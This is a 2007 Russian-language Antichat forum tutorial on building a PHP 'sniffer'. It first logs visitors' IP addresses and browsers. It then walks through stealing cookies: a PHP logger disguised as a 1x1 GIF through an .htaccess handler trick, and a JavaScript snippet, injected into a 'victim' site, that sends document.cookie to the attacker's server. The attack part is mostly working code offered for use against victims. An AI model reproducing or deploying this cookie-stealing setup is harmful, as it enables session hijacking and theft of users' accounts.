ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Пишем свой Php сниффер
  #1  
Старый 11.09.2007, 00:14
Аватар для inlanger
inlanger
Познавший АНТИЧАТ
Регистрация: 07.01.2007
Сообщений: 1,263
Провел на форуме:
3326855

Репутация: 702


Lightbulb Пишем свой Php сниффер

Многие, скорее всего, пользовались ачатовским сниффером. Многие знали как он работает, многие даже не догадывались. Вот для вторых и предназначена эта статья. В этой статье гуру ачата и профи программеры ничего нового для себя не найдут.
Итак, начнём. Для начала теория. Что такое сниффер?
Цитата из википедии
Цитата:
Анализатор трафика, или снифер (от англ. to sniff — нюхать) — сетевой анализатор трафика, программа или программно-аппаратное устройство, предназначенное для перехвата и последующего анализа, либо только анализа сетевого трафика, предназначенного для других узлов.
Мы будем писать скрипт, который позволяет получать какие-то сведения о тех, кто заходит к вам на страницу.
Какие сведения можно получать сниффером? Да почти любые, начиная от IP адреса жертвы, заканчивая coockies.
Зачем это надо? Если у вас возник такой вопрос, то эта статья, скорее всего, вам не пригодиться. Итак, поехали...
Что нам надо для создания собственного сниффера?
  • мозг и ровные руки
  • хостинг с поддержкой PHP

Для начала повторюсь. Задачей нашего сниффера будет сбор информации о жертве, зашедшей на наш сайт и сохранение этой информации в файле.
Создаём 2 файла - sniff.php и log.txt
Заполняем файл sniff.php. Для понимая того, что мы делаем, мы будем сейчас работать со стандартными переменнымы.

Переменная file будет хранить название и путь к файлу log.txt, нашему файлу с результатами:
$file=”log.txt”;
Теперь объявим переменные, в которых будет хранится информация о дате и времени посещения страницы.
PHP код:
$data=date("D.M.Y"); //в скобках прописан формат отображения даты D - день недели, M - месяц Y - год.
$time=date("h:i"); //в скобках прописан формат отображения времени h - часы, i - минуты 
Теперь нам нужно собрать инфрмацию о посетителе. Что может лучше описать посетителя, чем его IP адресс и информация о системе?
PHP код:
$ip=trim($_SERVER['REMOTE_ADDR']);  
$sysinfo=trim($_SERVER['HTTP_USER_AGENT']);
// это стандартные переменные, которые автоматом принимает сервер 
Теперь пишем основной код
PHP код:
if(is_file($file)){ //Проверяем наличие файла и возможность работы с ним
$fo=fopen($file,"a"); //Открываем файл на запись в конец
$res="$data | $time | $ip | $sysinfo \n"//Формируем строку с информацией от жертвы
//в формате дата|время|ip-адрес|характеристика системы
//переход на следующую строку n
$fw=fwrite($fo,$res); //Записываем в файл
fclose($fo); //Закрываем файл

Сниффер готов. Заливаем его на любой хост с PHP и проверяем его работу. Заходим на страницу sniff.php и видим белый экран без ошибок - значит всё сделали правильно. Теперь смотрим содержимое файла log.txt. Оно должно быть примерно следующего содержания:
Цитата:
10.09.2007 | 22:45 | 127.0.0.1 | Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6
Что теперь с ним делать? Да ничего почти. Для серьёзных вещей он не подходит. Для серьёзных и интересных вещей нам нужно уметь пользоваться куками. Что такое cookies?
Цитата:
HTTP-Cookies или Куки (от англ. cookies — домашнее печенье), иногда используется сленговый синоним — «плюшки». — служебная информации, посылаемая веб-сервером на компьютер пользователя, для сохранения в браузере. Применяется для сохранения данных, специфичных для данного пользователя, и используемых веб-сервером для различных целей, в числе которых:

* в системах с удаленным доступом — пароль, порождаемый сервером при первом подключении и отсылаемый пользователю; при последующих подключениях пользователь должен предоставлять серверу этот пароль
* отслеживание состояния сессии

Так что всё в ваших руках... Юзаем свой мозг и гугль, совершенствуемся...


Для тех, кому лень это делать продолжаю статью.
Для того, чтобы украсть чужие куки нам нелбходимо:
  • всё, что нужно было для создания простого сниффера

Для начала создадим картинку, размером 1х1 пиксель(для примера). Далее, в файл sniff.php добавляем переменную
PHP код:
$query=trim($HTTP_GET_VARS['cook']); 
Не забываем добавить эту переменную на запись в файл
PHP код:
$res="$data | $time | $ip | $sysinfo \n $query \n"//Формируем строку с информацией от жертвы 
Так же отображаем нашу 1х1 картинку:
PHP код:
Header("Content-type: image/png");
$im ImageCreateFromGif("путь_к_вашей_картинке");
ImageGif($im);
ImageDestroy($im); 
Переименовываем наш sniff.php в sniff.gif и создаём на серваке файл .htaccess со следующем текстом:
Цитата:
AddType application/x-httpd-php .gif
Теперь пишем скрипт, который будет находиться на сайте жертвы, и передавать нам с него все куки:
Код HTML:
<script>img = new Image(); img.src = "http://путь_к_вашему_снифферу/sniff.gif?cook='+document.cookie;</script>
В этом скрипте мы получаем куки и отправляем их нашему скрипту в переменной cook.
Проверяем работу скрипта. Писал без кофе и пива, так что мог что-то забыть. Почитаю коментарии и доделаю статью с утра. Всем спасибо.

Последний раз редактировалось inlanger; 11.09.2007 в 00:47..
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Пишем свой портал php .::Sim[B]ioZ::. PHP, PERL, MySQL, JavaScript 7 31.07.2007 11:35
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ